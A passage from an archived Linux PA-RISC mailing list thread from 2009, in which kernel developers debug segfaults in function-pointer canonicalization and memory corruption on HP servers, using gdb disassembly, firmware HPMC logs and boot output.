In-Reply-To: <20090505191845.GD3094@bombadil.infradead.org> from "Kyle McMartin" at May 5, 2009 03:18:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1668 gmane.linux.debian.ports.hppa:5692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1668>

> On Tue, May 05, 2009 at 03:09:50PM -0400, John David Anglin wrote:
> > Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
> > isn't used in the 64-bit runtime.
> > 
> > Still, I'm not sure why this fixed the problem as
> > __canonicalize_funcptr_for_compare checks for -1.
> > 
> 
> If we cast both sides to int, then we don't generate a call there...

That will certainly fix the problem but I'd really like to know
why we get a segv.  I suspect we are not handling a deferred function
pointer correctly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Tue, 5 May 2009 21:51:35 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090506015136.A36034FAF@hiauly1.hia.nrc.ca>
References: <49FFEA3A.4080902@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241574832 5272 80.91.229.12 (6 May 2009 01:53:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 01:53:52 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 03:53:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1WIP-00079m-3a
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 03:51:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751290AbZEFBvh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 21:51:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753038AbZEFBvh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 21:51:37 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4761 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751290AbZEFBvh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 21:51:37 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A36034FAF; Tue,  5 May 2009 21:51:36 -0400 (EDT)
In-Reply-To: <49FFEA3A.4080902@gmx.de> from "Helge Deller" at May 5, 2009 09:26:50 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1669
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1669>

> Could it be, that always r21 and r22 are involved?
> Maybe we don't restore them correctly after some syscalls like fork / getpwnam...?
> Esp. the comment for r21-r22 in arch/parisc/kernel/entry.S:1708 seems interesting:
> 
>         /* Register saving semantics for system calls:
> 
>            %r1             clobbered by system call macro in userspace
>            %r2             saved in PT_REGS by gateway page
>            %r3  - %r18     preserved by C code (saved by signal code)
>            %r19 - %r20     saved in PT_REGS by gateway page
>            %r21 - %r22     non-standard syscall args
>                            stored in kernel stack by gateway page

This is only true for r21 and r22 with a 32-bit kernel (see syscall.S:176).
However, the argument locations might get mixed up if one wasn't careful.
The getpwent bug occurs with both 32 and 64-bit kernels on the c3750.

I guess I should test a UP kernel on the rp3440.  I have never seen
the getpwent bug on the rp3440.  I don't see the memory corruption
on the c3750 (gcc builds without problems using 2.6.30-rc4).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Wed, 6 May 2009 12:04:42 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <20090506160442.GE3094@bombadil.infradead.org>
References: <20090505191845.GD3094@bombadil.infradead.org> <20090505194658.07D074EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241625945 20277 80.91.229.12 (6 May 2009 16:05:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 16:05:45 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 18:05:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1jcZ-0005IT-3M
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 18:05:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751071AbZEFQEt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 May 2009 12:04:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753255AbZEFQEt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 May 2009 12:04:49 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35924 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751071AbZEFQEt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 May 2009 12:04:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1jbu-0008D9-Nn; Wed, 06 May 2009 16:04:42 +0000
Content-Disposition: inline
In-Reply-To: <20090505194658.07D074EDA@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1670 gmane.linux.debian.ports.hppa:5693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1670>

On Tue, May 05, 2009 at 03:46:57PM -0400, John David Anglin wrote:
> > On Tue, May 05, 2009 at 03:09:50PM -0400, John David Anglin wrote:
> > > Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
> > > isn't used in the 64-bit runtime.
> > > 
> > > Still, I'm not sure why this fixed the problem as
> > > __canonicalize_funcptr_for_compare checks for -1.
> > > 
> > 
> > If we cast both sides to int, then we don't generate a call there...
> 
> That will certainly fix the problem but I'd really like to know
> why we get a segv.  I suspect we are not handling a deferred function
> pointer correctly.
> 

At a guess, you're probably right, the faulting insn is a load:

0x0002b3a8 <__canonicalize_funcptr_for_compare+48>:	bb,>= r26,1e,0x2b394 <__canonicalize_funcptr_for_compare+28>
0x0002b3ac <__canonicalize_funcptr_for_compare+52>:	copy r26,r3
0x0002b3b0 <__canonicalize_funcptr_for_compare+56>:	addil L%800,dp,r1
0x0002b3b4 <__canonicalize_funcptr_for_compare+60>:	ldw 294(r1),ret1
0x0002b3b8 <__canonicalize_funcptr_for_compare+64>:	depwi 0,31,2,r3
0x0002b3bc <__canonicalize_funcptr_for_compare+68>:	ldw 0(r3),r26

god knows I can't recall how DEP*I work, but I guess this is clearing
the bottom two bits of %r3 if bit 31 is set in %r26?

(gdb) p/x $r3 
$3 = 0x407d2f18
(gdb) p/x $r26
$4 = 0x407d2f1a

This looks like the sigaction handler, (it appears __canon..._compare
detects -1 already.)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Wed, 6 May 2009 12:19:37 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <20090506161937.CD3174EE8@hiauly1.hia.nrc.ca>
References: <20090506160442.GE3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241626795 23348 80.91.229.12 (6 May 2009 16:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 16:19:55 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 18:19:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1jqP-0004Tr-L0
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 18:19:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753756AbZEFQTj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 May 2009 12:19:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754390AbZEFQTj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 May 2009 12:19:39 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4790 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753756AbZEFQTi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 May 2009 12:19:38 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CD3174EE8; Wed,  6 May 2009 12:19:37 -0400 (EDT)
In-Reply-To: <20090506160442.GE3094@bombadil.infradead.org> from "Kyle McMartin" at May 6, 2009 12:04:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1671 gmane.linux.debian.ports.hppa:5694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1671>

> On Tue, May 05, 2009 at 03:46:57PM -0400, John David Anglin wrote:
> > > On Tue, May 05, 2009 at 03:09:50PM -0400, John David Anglin wrote:
> > > > Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
> > > > isn't used in the 64-bit runtime.
> > > > 
> > > > Still, I'm not sure why this fixed the problem as
> > > > __canonicalize_funcptr_for_compare checks for -1.
> > > > 
> > > 
> > > If we cast both sides to int, then we don't generate a call there...
> > 
> > That will certainly fix the problem but I'd really like to know
> > why we get a segv.  I suspect we are not handling a deferred function
> > pointer correctly.
> > 
> 
> At a guess, you're probably right, the faulting insn is a load:
> 
> 0x0002b3a8 <__canonicalize_funcptr_for_compare+48>:	bb,>= r26,1e,0x2b394 <__canonicalize_funcptr_for_compare+28>
> 0x0002b3ac <__canonicalize_funcptr_for_compare+52>:	copy r26,r3
> 0x0002b3b0 <__canonicalize_funcptr_for_compare+56>:	addil L%800,dp,r1
> 0x0002b3b4 <__canonicalize_funcptr_for_compare+60>:	ldw 294(r1),ret1
> 0x0002b3b8 <__canonicalize_funcptr_for_compare+64>:	depwi 0,31,2,r3
> 0x0002b3bc <__canonicalize_funcptr_for_compare+68>:	ldw 0(r3),r26
> 
> god knows I can't recall how DEP*I work, but I guess this is clearing
> the bottom two bits of %r3 if bit 31 is set in %r26?
> 
> (gdb) p/x $r3 
> $3 = 0x407d2f18
> (gdb) p/x $r26
> $4 = 0x407d2f1a
> 
> This looks like the sigaction handler, (it appears __canon..._compare
> detects -1 already.)

This all seems correct.  r3 should be pointing to a function descriptor
for the sigaction handler (plabel bit is set).  What is the interruption
generated by the ldw at 0x0002b3bc?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Wed, 6 May 2009 12:23:38 -0400
Organization: nrc.ca
Lines: 629
Approved: news@gmane.org
Message-ID: <20090506162337.GA22416@hiauly1.hia.nrc.ca>
References: <49FFEA3A.4080902@gmx.de> <20090506015136.A36034FAF@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="X1bOJ3K7DJ5YkBrT"
X-Trace: ger.gmane.org 1241627046 24228 80.91.229.12 (6 May 2009 16:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 16:24:06 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 18:23:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1juK-0006dZ-7e
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 18:23:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752217AbZEFQXl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 May 2009 12:23:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754115AbZEFQXl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 May 2009 12:23:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4794 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752217AbZEFQXj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 May 2009 12:23:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D46FE4EE8; Wed,  6 May 2009 12:23:38 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20090506015136.A36034FAF@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1672>


--X1bOJ3K7DJ5YkBrT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 05 May 2009, John David Anglin wrote:

> I guess I should test a UP kernel on the rp3440.

It doesn't boot.  hpmc info attached.  I have the sense that cutting the
number of processors down to two reduced the segv rate with the SMP build.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--X1bOJ3K7DJ5YkBrT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="rp3440-up.txt"

Log Entry 361: 06 May 2009 12:25:11
Alert Level 2: Informational
Keyword: MEM_MULTIPLE_ERRORS_DETECTED
The firmware memory test has detected multiple memory errors.
Logged by: System Firmware  0
Data: Implementation dependent data field
0x5680132900E01FC0 0000000000000080


Log Entry 360: 06 May 2009 12:25:10
Alert Level 2: Informational
Keyword: MEM_CORR_ERR
Correctable (single-bit) ECC error in DIMM
Logged by: System Firmware  0
Data: Location - Memory (SIMM or DIMM): DIMM Slot 0x1B, Extender 0
0x448000A700E01FA0 FFFFFFFF001BFF74

Log Entry 359: 06 May 2009 12:24:22
Alert Level 2: Informational
Keyword: IPMI Type-E0 Event
Logged by: Unknown 0
Data: Implementation dependent data field
0x56801A4A00E01F80 0000000000000002


Log Entry 358: 06 May 2009 12:23:54
Alert Level 2: Informational
Keyword: Type-02 c00301 12583681
Time set
Logged by: Baseboard Management Controller;
Sensor: SEL Time Set
Data1: State Asserted
0x204A01815A021F70 FFFF0103FDC00300

Log Entry 357: 06 May 2009 12:23:51
Alert Level 2: Informational
Keyword: Type-02 127002 1208322
Soft Reset
Logged by: Baseboard Management Controller;
Sensor: System Event
0x204A018157021F60 FFFF027000120300


Log Entry 356: 06 May 2009 12:22:44
Alert Level 2: Informational
Keyword: MC_BR_TO_OS_HPMC_FAILED
MC_BR_TO_OS_HPMC_FAILED
Logged by: System Firmware  0
Data: Implementation dependent data field
0x5680106400E01F40 FFFFFFF0F0435110

Log Entry 355: 06 May 2009 12:22:44
Alert Level 2: Informational
Keyword: MC_OS_HPMC_LEN_ERR
MC_OS_HPMC_LEN_ERR
Logged by: System Firmware  0
Data: Implementation dependent data field
0x5680100B00E01F20 0000000000000194


Log Entry 354: 06 May 2009 12:22:43
Alert Level 7: Fatal
Keyword: MC_HPMC_MONARCH_SELECTED
MC_HPMC_MONARCH_SELECTED
Logged by: System Firmware  0
Data: Implementation dependent data field
0xF680105E00E01F00 FFFFFFF0F0C00000

Log Entry 353: 06 May 2009 12:22:43
Alert Level 2: Informational
Keyword: ERR_CPU_CHECK_SUMMARY
CPU API CpuProcessMachineCheck return value report
Logged by: System Firmware  0
Data: Status return from PDC function call
0x57800F7300E01EE0 8040004000000000


Log Entry 352: 06 May 2009 12:22:43
Alert Level 7: Fatal
Keyword: ERR_CHECK_HPMC
An HPMC has been encountered.
Logged by: System Firmware  0
Data: Code address
0xE880035C00E01EC0 000000004011E768

Log Entry 351: 06 May 2009 12:19:30
Alert Level 2: Informational
Keyword: IPMI Type-E0 Event
Logged by: Unknown 0
Data: Implementation dependent data field
0x56801A4A00E01EA0 0000000000000002


Log Entry 350: 06 May 2009 12:19:02
Alert Level 2: Informational
Keyword: Type-02 c00301 12583681
Time set
Logged by: Baseboard Management Controller;
Sensor: SEL Time Set
Data1: State Asserted
0x204A018036021E90 FFFF0103FDC00300

Log Entry 349: 06 May 2009 12:19:00
Alert Level 2: Informational
Keyword: Type-02 127002 1208322
Soft Reset
Logged by: Baseboard Management Controller;
Sensor: System Event
0x204A018034021E80 FFFF027000120300


Log Entry 348: 06 May 2009 12:17:53
Alert Level 2: Informational
Keyword: MC_BR_TO_OS_HPMC_FAILED
MC_BR_TO_OS_HPMC_FAILED
Logged by: System Firmware  0
Data: Implementation dependent data field
0x5680106400E01E60 FFFFFFF0F0435110

Log Entry 347: 06 May 2009 12:17:53
Alert Level 2: Informational
Keyword: MC_OS_HPMC_LEN_ERR
MC_OS_HPMC_LEN_ERR
Logged by: System Firmware  0
Data: Implementation dependent data field
0x5680100B00E01E40 0000000000000194


Log Entry 346: 06 May 2009 12:17:53
Alert Level 7: Fatal
Keyword: MC_HPMC_MONARCH_SELECTED
MC_HPMC_MONARCH_SELECTED
Logged by: System Firmware  0
Data: Implementation dependent data field
0xF680105E00E01E20 FFFFFFF0F0C00000

Log Entry 345: 06 May 2009 12:17:53
Alert Level 2: Informational
Keyword: ERR_CPU_CHECK_SUMMARY
CPU API CpuProcessMachineCheck return value report
Logged by: System Firmware  0
Data: Status return from PDC function call
0x57800F7300E01E00 8040004000000000


Log Entry 344: 06 May 2009 12:17:52
Alert Level 7: Fatal
Keyword: ERR_CHECK_HPMC
An HPMC has been encountered.
Logged by: System Firmware  0
Data: Code address
0xE880035C00E01DE0 000000004011E768

Log Entry 343: 06 May 2009 12:09:40
Alert Level 2: Informational
Keyword: IPMI Type-E0 Event
Logged by: Unknown 0
Data: Implementation dependent data field
0x56801A4A00E01DC0 0000000000000002


Log Entry 342: 06 May 2009 12:09:12
Alert Level 2: Informational
Keyword: Type-02 c00301 12583681
Time set
Logged by: Baseboard Management Controller;
Sensor: SEL Time Set
Data1: State Asserted
0x204A017DE8021DB0 FFFF0103FDC00300

Log Entry 341: 06 May 2009 12:09:08
Alert Level 2: Informational
Keyword: Type-02 127002 1208322
Soft Reset
Logged by: Baseboard Management Controller;
Sensor: System Event
0x204A017DE4021DA0 FFFF027000120300


Log Entry 340: 06 May 2009 12:05:41
Alert Level 2: Informational
Keyword: IPMI Type-E0 Event
Logged by: Unknown 0
Data: Implementation dependent data field
0x56801A4A00E01D80 0000000000000002

Log Entry 339: 06 May 2009 12:05:27
Alert Level 2: Informational
Keyword: Type-02 c00301 12583681
Time set
Logged by: Baseboard Management Controller;
Sensor: SEL Time Set
Data1: State Asserted
0x204A017D07021D70 FFFF0103FDC00300


Log Entry 338: 06 May 2009 12:05:26
Alert Level 2: Informational
Keyword: Type-02 127002 1208322
Soft Reset
Logged by: Baseboard Management Controller;
Sensor: System Event
0x204A017D06021D60 FFFF027000120300

PROCESSOR PIM INFORMATION

Original Product Number:  A7136A
Current Product Number:   A7136A


-----------------  Processor 0 HPMC Information - PDC Version: 45.11  ------

Timestamp =   Wed May  6 12:22:43 GMT 2009    (20:09:05:06:12:22:43)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x000000004011e768
       0x57000f7300e00000 0x8040004000000000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0435110

General Registers 0 - 31
00-03  0000000000000000  0000000040117044  00000000401171b0  000000007fbb8830
04-07  00000000405614e0  00000000401da9c8  000000000800000f  0000000000000400
08-11  000000007f2fcb48  000000007fbb8800  0000000000000001  0000000000000400
12-15  0000000000000fff  00000000000fff7f  0000000000000000  00000000fb2a7038
16-19  000000007fbb8830  00000000000883b9  0000000000000000  0000000000000038
20-23  00000000401171a4  0000000008000008  0000000000000000  000000000000001c
24-27  0000000000000000  000000000e6010dc  0000000000000000  00000000405614e0
28-31  000000000c001100  000000007fbb8e90  000000007fbb90e0  0000000000000000

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000006  0000000000000000  00000000000000c0  000000000000003d
12-15  0000000000000000  0000000000000000  0000000000103000  ffc0000000000000
16-19  00000029abefa7d0  0000000000000000  000000004011e768  000000000ea050d6
20-23  00000000a634400f  00000000c0000008  000000000804000f  0000000000000000
24-27  00000000004c6000  000000003ecae000  ffffffffffffffff  00000000400017e0
28-31  00000000400017e0  ffffffffffffffff  000000007fbb8000  0000000040554000

Space Registers 0 - 7
00-03  0000000000001800  0000000000000000  0000000000000000  0000000000001800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000004011e76c
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00001800
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  00000000405614e0  00000000405969b8  000000000800000f  0000000000000000
08-11  00000000401cad28  000000007f4242e0  000000007f41fcb0  000000007f4243d0
12-15  0000000000000002  000000007f41fcb8  000000007f41fca8  00000000405614e0
16-19  0000000000000002  000000007f40c580  000000007d722e48  000000007f0082f8
20-23  00000000405614e0  000000007f406c78  0000000000000103  0000000000000000
24-27  0000000000000000  000000000080bfc6  0000000000000000  0000000000000802
28-31  00000000405614e0  ffffffffffffff9c  0000000040445520  00000000401bcb98

PIM Revision                 = 0x0000000000000001
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004a018113
System Firmware Rev.         = 0x00000b4b0000119f
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112022000002008
MIB_STAT                     = 0x0040000000200000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000040
MIB_RSLOG1                   = 0x0000100000000004
MIB_RSLOG2                   = 0x0020010000000000
MIB_RQLOG                    = 0x021001f8011f1530
MIB_REQLOGa                  = 0x8000080000000300
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

000000004011dc80 <handle_unaligned>:
    4011dc80:   0f c2 12 c1     std rp,-10(sp)
    ...
000000004011e734 <L3^B18>:
    4011e734:   e8 1f 11 65     b,l 4011dfec <L3^B2+0x20>,r0
    4011e738:   db 85 0f e0     extrd,s ret0,63,32,r5
    4011e73c:   9f fc 20 10     cmpb,*= ret0,r31,4011e74c <L3^B18+0x18>
    4011e740:   36 7c 22 00     ldo 1100(r19),ret0
    4011e744:   bf fc 31 45     cmpb,*<> ret0,r31,4011dfec <L3^B2+0x20>
    4011e748:   34 05 3f ff     ldi -1,r5
    4011e74c:   34 16 00 00     ldi 0,r22
    4011e750:   50 75 05 40     ldd 2a0(r3),r21
    4011e754:   50 7f 05 30     ldd 298(r3),r31
    4011e758:   db 37 0b fb     extrd,u r25,63,5,r23
    4011e75c:   f2 75 00 7d     depd,z r21,60,3,r19
    4011e760:   00 1f 58 20     mtsp r31,sr1
    4011e764:   f2 a0 04 1d     depd r0,63,3,r21
    4011e768:   0e a0 50 d6     ldd 0(sr1,r21),r22
    4011e76c:   0e b0 50 d4     ldd 8(sr1,r21),r20
    4011e770:   96 73 00 80     subi 40,r19,r19
    4011e774:   01 73 18 40     mtsar r19
    4011e778:   d2 96 02 16     shrpd r22,r20,sar,r22
    4011e77c:   08 00 02 5c     copy r0,ret0

Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008

Partition Start(MB) End(MB) Id Type
1               1     101   f0 Palo
2             102    1082   82 swap
3            1083   34726   83 ext2

PALO(F0) partition contains:
PALO is formatted EXT2/3
Command line for kernel: 'root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux'
Selected kernel: /vmlinux from partition 1
Selected ramdisk: /initrd.img from partition 1
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 3997696 mediaptr 0x1000
Segment 1 load 0051c000 size 508416 mediaptr 0x3d1000
Loading ramdisk 6052334 bytes @ 3fa29000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

